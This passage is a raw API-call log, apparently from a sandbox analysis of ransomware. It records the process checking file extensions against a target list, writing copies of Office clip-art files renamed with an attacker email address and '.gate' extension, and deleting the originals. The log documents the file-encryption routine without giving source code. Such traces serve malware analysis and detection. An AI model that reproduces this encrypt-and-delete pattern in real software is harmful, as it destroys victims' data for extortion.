(lpString1=".7z", lpString2="WMF") returned -1 [0317.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0317.493] lstrlenW (lpString=".dbf") returned 4 [0317.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0317.493] lstrlenW (lpString=".1cd") returned 4 [0317.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0317.493] lstrlenW (lpString=".jpg") returned 4 [0317.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.494] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12900) returned 1 [0317.494] CloseHandle (hObject=0x4f8) returned 1 [0317.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0317.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0317.495] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.495] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0317.495] GetLastError () returned 0x0 [0317.495] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3264, lpOverlapped=0x0) returned 1 [0318.047] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3270, lpOverlapped=0x0) returned 1 [0318.048] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.048] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.048] SetEndOfFile (hFile=0x4a0) returned 1 [0318.048] CloseHandle (hObject=0x4a0) returned 1 [0318.048] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.048] SetEndOfFile (hFile=0x4f8) returned 1 [0318.050] CloseHandle (hObject=0x4f8) returned 1 [0318.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0318.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0318.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0318.268] lstrlenW (lpString=".doc") returned 4 [0318.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.268] lstrlenW (lpString=".docx") returned 5 [0318.268] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0318.268] lstrlenW (lpString=".pdf") returned 4 [0318.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.268] lstrlenW (lpString=".xls") returned 4 [0318.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.268] lstrlenW (lpString=".xlsx") returned 5 [0318.268] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0318.268] lstrlenW (lpString=".ppt") returned 4 [0318.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0318.268] lstrlenW (lpString=".zip") returned 4 [0318.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.268] lstrlenW (lpString=".rar") returned 4 [0318.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.268] lstrlenW (lpString=".bz2") returned 4 [0318.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.268] lstrlenW (lpString=".7z") returned 3 [0318.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0318.269] lstrlenW (lpString=".dbf") returned 4 [0318.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0318.269] lstrlenW (lpString=".1cd") returned 4 [0318.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0318.269] lstrlenW (lpString=".jpg") returned 4 [0318.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.269] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19328) returned 1 [0318.269] CloseHandle (hObject=0x2b0) returned 1 [0318.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0318.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0318.270] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.270] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0318.272] GetLastError () returned 0x0 [0318.272] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0318.407] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0318.408] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.408] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.408] SetEndOfFile (hFile=0x4ac) returned 1 [0318.413] CloseHandle (hObject=0x4ac) returned 1 [0318.413] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.413] SetEndOfFile (hFile=0x2b0) returned 1 [0318.419] CloseHandle (hObject=0x2b0) returned 1 [0318.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0318.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0318.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0318.422] lstrlenW (lpString=".doc") returned 4 [0318.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.422] lstrlenW (lpString=".docx") returned 5 [0318.422] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0318.422] lstrlenW (lpString=".pdf") returned 4 [0318.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.422] lstrlenW (lpString=".xls") returned 4 [0318.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.422] lstrlenW (lpString=".xlsx") returned 5 [0318.422] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0318.422] lstrlenW (lpString=".ppt") returned 4 [0318.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0318.422] lstrlenW (lpString=".zip") returned 4 [0318.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.422] lstrlenW (lpString=".rar") returned 4 [0318.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.422] lstrlenW (lpString=".bz2") returned 4 [0318.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.423] lstrlenW (lpString=".7z") returned 3 [0318.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0318.423] lstrlenW (lpString=".dbf") returned 4 [0318.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0318.423] lstrlenW (lpString=".1cd") returned 4 [0318.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0318.423] lstrlenW (lpString=".jpg") returned 4 [0318.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.424] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.424] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0318.425] GetLastError () returned 0x0 [0318.425] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1714, lpOverlapped=0x0) returned 1 [0318.507] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1720, lpOverlapped=0x0) returned 1 [0318.509] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.509] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.509] SetEndOfFile (hFile=0x4c4) returned 1 [0318.509] CloseHandle (hObject=0x4c4) returned 1 [0318.509] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.509] SetEndOfFile (hFile=0x2b0) returned 1 [0318.512] CloseHandle (hObject=0x2b0) returned 1 [0318.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0318.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0318.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0318.513] lstrlenW (lpString=".doc") returned 4 [0318.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.513] lstrlenW (lpString=".docx") returned 5 [0318.513] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0318.513] lstrlenW (lpString=".pdf") returned 4 [0318.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.513] lstrlenW (lpString=".xls") returned 4 [0318.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.513] lstrlenW (lpString=".xlsx") returned 5 [0318.513] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0318.513] lstrlenW (lpString=".ppt") returned 4 [0318.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0318.513] lstrlenW (lpString=".zip") returned 4 [0318.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.513] lstrlenW (lpString=".rar") returned 4 [0318.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.514] lstrlenW (lpString=".bz2") returned 4 [0318.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.514] lstrlenW (lpString=".7z") returned 3 [0318.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0318.514] lstrlenW (lpString=".dbf") returned 4 [0318.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0318.514] lstrlenW (lpString=".1cd") returned 4 [0318.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0318.514] lstrlenW (lpString=".jpg") returned 4 [0318.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.515] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.515] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0318.515] GetLastError () returned 0x0 [0318.515] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4540, lpOverlapped=0x0) returned 1 [0318.660] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4550, lpOverlapped=0x0) returned 1 [0318.661] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.661] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.661] SetEndOfFile (hFile=0x4c4) returned 1 [0318.661] CloseHandle (hObject=0x4c4) returned 1 [0318.661] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.661] SetEndOfFile (hFile=0x2b0) returned 1 [0318.664] CloseHandle (hObject=0x2b0) returned 1 [0318.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0318.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0318.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0318.666] lstrlenW (lpString=".doc") returned 4 [0318.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.666] lstrlenW (lpString=".docx") returned 5 [0318.666] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0318.666] lstrlenW (lpString=".pdf") returned 4 [0318.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.666] lstrlenW (lpString=".xls") returned 4 [0318.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.666] lstrlenW (lpString=".xlsx") returned 5 [0318.666] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0318.666] lstrlenW (lpString=".ppt") returned 4 [0318.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0318.666] lstrlenW (lpString=".zip") returned 4 [0318.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.666] lstrlenW (lpString=".rar") returned 4 [0318.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.666] lstrlenW (lpString=".bz2") returned 4 [0318.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.666] lstrlenW (lpString=".7z") returned 3 [0318.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0318.666] lstrlenW (lpString=".dbf") returned 4 [0318.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0318.667] lstrlenW (lpString=".1cd") returned 4 [0318.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0318.667] lstrlenW (lpString=".jpg") returned 4 [0318.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.667] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.667] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0318.668] GetLastError () returned 0x0 [0318.668] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0318.704] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0318.705] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.705] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.705] SetEndOfFile (hFile=0x4c4) returned 1 [0318.705] CloseHandle (hObject=0x4c4) returned 1 [0318.705] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.705] SetEndOfFile (hFile=0x2b0) returned 1 [0318.707] CloseHandle (hObject=0x2b0) returned 1 [0318.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0318.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0318.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0318.708] lstrlenW (lpString=".doc") returned 4 [0318.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.708] lstrlenW (lpString=".docx") returned 5 [0318.709] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0318.709] lstrlenW (lpString=".pdf") returned 4 [0318.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.709] lstrlenW (lpString=".xls") returned 4 [0318.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.709] lstrlenW (lpString=".xlsx") returned 5 [0318.709] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0318.709] lstrlenW (lpString=".ppt") returned 4 [0318.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0318.709] lstrlenW (lpString=".zip") returned 4 [0318.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.709] lstrlenW (lpString=".rar") returned 4 [0318.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.709] lstrlenW (lpString=".bz2") returned 4 [0318.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.709] 